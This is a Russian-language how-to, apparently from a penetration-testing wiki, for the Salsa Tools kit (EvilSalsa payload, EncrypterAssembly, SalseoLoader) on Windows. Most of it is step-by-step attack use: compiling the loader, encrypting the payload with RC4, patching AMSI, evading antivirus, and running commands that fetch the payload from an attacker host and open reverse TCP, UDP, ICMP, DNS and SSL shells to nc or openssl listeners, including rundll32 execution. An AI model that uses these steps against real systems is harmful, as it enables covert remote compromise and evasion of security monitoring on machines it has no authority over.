
Salsa Tools - ShellReverse TCP/UDP/ICMP/DNS/SSL/BINDTCP/Shellcode/SILENTTRINITY и обход AV, патч AMSI
_____ __ ______ __
/ ___/____ _/ /________ _ /_ __/___ ____ / /____
\__ \/ __ `/ / ___/ __ `/ / / / __ \/ __ \/ / ___/
___/ / /_/ / (__ ) /_/ / / / / /_/ / /_/ / (__ )
/____/\__,_/_/____/\__,_/ /_/ \____/\____/_/____/
Salsa Tools — это набор из трёх различных инструментов, которые в совокупности позволяют получить обратный шелл с расширенными возможностями в любой среде Windows без необходимости использования PowerShell для его выполнения. Чтобы обойти новейшие методы обнаружения (AMSI), большинство компонентов изначально были написаны на C#. Salsa Tools был публично выпущен Луисом Вакасом во время его доклада «Inmersión en la explotación tiene rima», который прошёл на конференции h-c0n 9 февраля 2019 года.
* TCP/UDP/ICMP/DNS/BIND/SSL/Shellcode/SilentTrinity
* Безопасность от AV (17 февраля)
* Патчеры AMSI
* Выполнение PowerShell
* ...
Salsa-Tools состоит из трёх различных ингредиентов: - EvilSalsa - EncrypterAssembly - SalseoLoader И его поведение следующее:
___ __ __ ____ _
/ _] | || || |
/ [_| | | | | | |
| _] | | | | | |___
| [_| : | | | | |
| |\ / | | | |
|_____| \_/ |____||_____|
_____ ____ _ _____ ____
/ ___/ / || | / ___/ / |
( \_ | o || | ( \_ | o |
\__ || || |___\__ || |
/ \ || _ || / \ || _ |
\ || | || \ || | |
\___||__|__||_____|\___||__|__|
[+] Это наша полезная нагрузка
EvilSalsa — ключевой ингредиент этого рецепта. Он содержит полезную нагрузку, которая выполняется в системе следующим образом: как только нагрузка запускается, она загружает System.Management.Automation.dll, который создаёт runspace. Внутри этого runspace у нас есть четыре типа оболочек (TCP / UDP / ICMP / DNS / BINDTCP / SHELLCODE / SILENTTRINITY). После загрузки EvilSalsa первым делом проверяется наличие c:\windows\system32\amsi.dll. Если он существует, он патчится с помощью домашней вариации обходов CyberArk и Rastamouse.
______ _
| ____| | |
| |__ _ __ ___ _ __ _ _ _ __ | |_ ___ _ __
| __| | '_ \ / __| '__| | | | '_ \| __/ _ \ '__|
| |____| | | | (__| | | |_| | |_) | || __/ |
|______|_| |_|\___|_| \__, | .__/ \__\___|_|
/\ __/ | || | | |
/ \ ___ ___ ___ _|___/|_|| |__ | |_ _
/ /\ \ / __/ __|/ _ \ '_ ` _ \| '_ \| | | | |
/ ____ \\__ \__ \ __/ | | | | | |_) | | |_| |
/_/ \_\___/___/\___|_| |_| |_|_.__/|_|\__, |
__/ |
|___/
[+] Программа, шифрующая полезную нагрузку с помощью RC4
[+] Есть версия на Python и версия в виде .exe
EncrypterAssembly можно использовать как Python-скрипт или как исполняемый файл. Он шифрует ранее сгенерированный EvilSalsa.
Использование в Python:
python encrypterassembly.py <FILE> <PASSWORD> <OUTPUT>
Исполняемый файл:
Encrypterassembly.exe <FILE> <PASSWORD> <OUTPUT>
SalseoLoader отвечает за загрузку зашифрованной полезной нагрузки. Может быть скомпилирован как библиотека или как исполняемый файл. Если он запускается как исполняемый файл, необходимые аргументы должны быть указаны при запуске. Если он скомпилирован как библиотека, должен быть экспортирован дескриптор "main". Аргументы передаются через переменные окружения.
_____ ____ _ _____ ___ ___
/ ___/ / || | / ___/ / _] / \
( \_ | o || | ( \_ / [_ | |
\__ || || |___\__ || _]| O |
/ \ || _ || / \ || [_ | |
\ || | || \ || || |
\___||__|__||_____|\___||_____| \___/
_ ___ ____ ___ ___ ____
| | / \ / || \ / _]| \
| | | || o || \ / [_ | D )
| |___ | O || || D || _]| /
| || || _ || || [_ | \
| || || | || || || . \
|_____| \___/ |__|__||_____||_____||__|\_|
Автор: CyberVaca@HackPlayers
[+] Использование:
[-] SalseoLoader.exe password http://webserver.com/elfuckingmal.txt ReverseTCP LHOST LPORT
[-] SalseoLoader.exe password \\smbserver.com\evil\elfuckingmal.txt ReverseUDP LHOST LPORT
[-] SalseoLoader.exe password c:\temp\elfuckingmal.txt ReverseICMP LHOST
[-] SalseoLoader.exe password http://webserver.com/elfuckingmal.txt ReverseDNS LHOST ServerDNS
[-] SalseoLoader.exe password http://webserver.com/elfuckingmal.txt BindTCP LHOST LPORT
[-] SalseoLoader.exe password c:\temp\elfuckingmal.txt ReverseSSL LHOST LPORT
[-] SalseoLoader.exe password http://webserver.com/shellcode.txt shellcode
[-] SalseoLoader.exe password http://webserver.com/silent.txt silenttrinity URL_C2C
[+] Доступные полезные нагрузки:
[-] ReverseTCP [-] ReverseDNS [-] ReverseSSL [-] Shellcode
[-] ReverseUDP [-] ReverseICMP [-] BindTCP [-] SilentTrinity
Скачайте исходный код из репозитория GitHub и скомпилируйте EvilSalsa и SalseoLoader. Для компиляции кода вам потребуется установленная Visual Studio.
Скомпилируйте эти проекты для архитектуры той Windows-машины, где вы будете их использовать (если Windows поддерживает x64, компилируйте для этой архитектуры).
Вы можете выбрать архитектуру в Visual Studio на вкладке "Build" слева в поле "Platform Target".
(Если вы не можете найти эти параметры, нажмите на вкладку "Project", затем " Properties")

Затем соберите оба проекта (Build -> Build Solution). В журнале появится путь к исполняемому файлу:

Прежде всего, вам нужно закодировать EvilSalsa.dll. Для этого можно использовать Python-скрипт encrypterassembly.py или скомпилировать проект EncrypterAssembly.
python EncrypterAssembly/encrypterassembly.py <ФАЙЛ> <ПАРОЛЬ> <ВЫХОДНОЙ_ФАЙЛ>
python EncrypterAssembly/encrypterassembly.py EvilSalsa.dll password evilsalsa.dll.txt
EncrypterAssembly.exe <ФАЙЛ> <ПАРОЛЬ> <ВЫХОДНОЙ_ФАЙЛ>
EncrypterAssembly.exe EvilSalsa.dll password evilsalsa.dll.txt
Отлично, теперь у вас есть всё необходимое для запуска всей этой сальсы: закодированный EvilSalsa.dll и бинарник SalseoLoader. Загрузите бинарник SalseoLoader.exe на машину. Он не должен обнаруживаться ни одним антивирусом...
Не забудьте запустить nc как слушатель для обратного шелла и HTTP-сервер для раздачи закодированного evilsalsa.
SalseoLoader.exe password http://<IP-атакующего>/evilsalsa.dll.txt reversetcp <IP-атакующего> <Порт>
Не забудьте запустить nc как слушатель для обратного шелла и SMB-сервер для раздачи закодированного evilsalsa (impacket-smbserver).
SalseoLoader.exe password \\<IP-атакующего>/folder/evilsalsa.dll.txt reverseudp <IP-атакующего> <Порт>
Настройте слушатель на машине атакующего:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
openssl s_server -key key.pem -cert cert.pem -port <порт> -tls1
Запустите бэкдор:
SalseoLoader.exe password C:/path/to/evilsalsa.dll.txt ReverseSSL <IP-атакующего> <Порт>
На этот раз на стороне клиента нужна специальная программа для приёма обратного шелла. Скачайте: [https://github.com/inquisb/icmpsh]
Отключите ICMP-ответы:
#По окончании можно снова включить их, выполнив:
sysctl -w net.ipv4.icmp_echo_ignore_all=0
Запустите клиент:
python icmpsh_m.py "<IP-атакующего>" "<IP-жертвы>"
На жертве выполните сальсу:
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <IP-атакующего>
Откройте проект SalseoLoader в Visual Studio.
Перед функцией main добавьте эту строку: [DllExport]

Tools --> NuGet Package Manager --> Manage NuGet Packages for Solution...

Найдите пакет DllExport (используя вкладку Browse) и нажмите Install (и подтвердите всплывающее окно)

В папке вашего проекта появились файлы: DllExport.bat и DllExport_Configure.bat
Нажмите Uninstall (да, это странно, но поверьте, это необходимо)

Просто закройте Visual Studio.
Затем перейдите в папку SalseoLoader и запустите DllExport_Configure.bat Выберите x64 (если вы будете использовать его на машине с x64, в моём случае было так), выберите System.Runtime.InteropServices (в разделе Namespace for DllExport) и нажмите Apply

[DllExport] больше не должен помечаться как ошибка

Выберите Output Type = Class Library (Project --> SalseoLoader Properties --> Application --> Output type = Class Library)

Выберите платформу x64 (Project --> SalseoLoader Properties --> Build --> Platform target = x64)

Чтобы собрать решение: Build --> Build Solution (В консоли вывода появится путь к новой DLL)
Скопируйте и вставьте DLL туда, где вы хотите её протестировать.
Выполните:
rundll32.exe SalseoLoader.dll,main
Если ошибки не появились, вероятно, у вас рабочая DLL!!
Не забудьте запустить HTTP-сервер и nc-слушатель
$env:pass="password"
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
$env:lhost="10.2.0.5"
$env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
set lhost=10.2.0.5
set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
Документировано https://github.com/carlospolop-forks/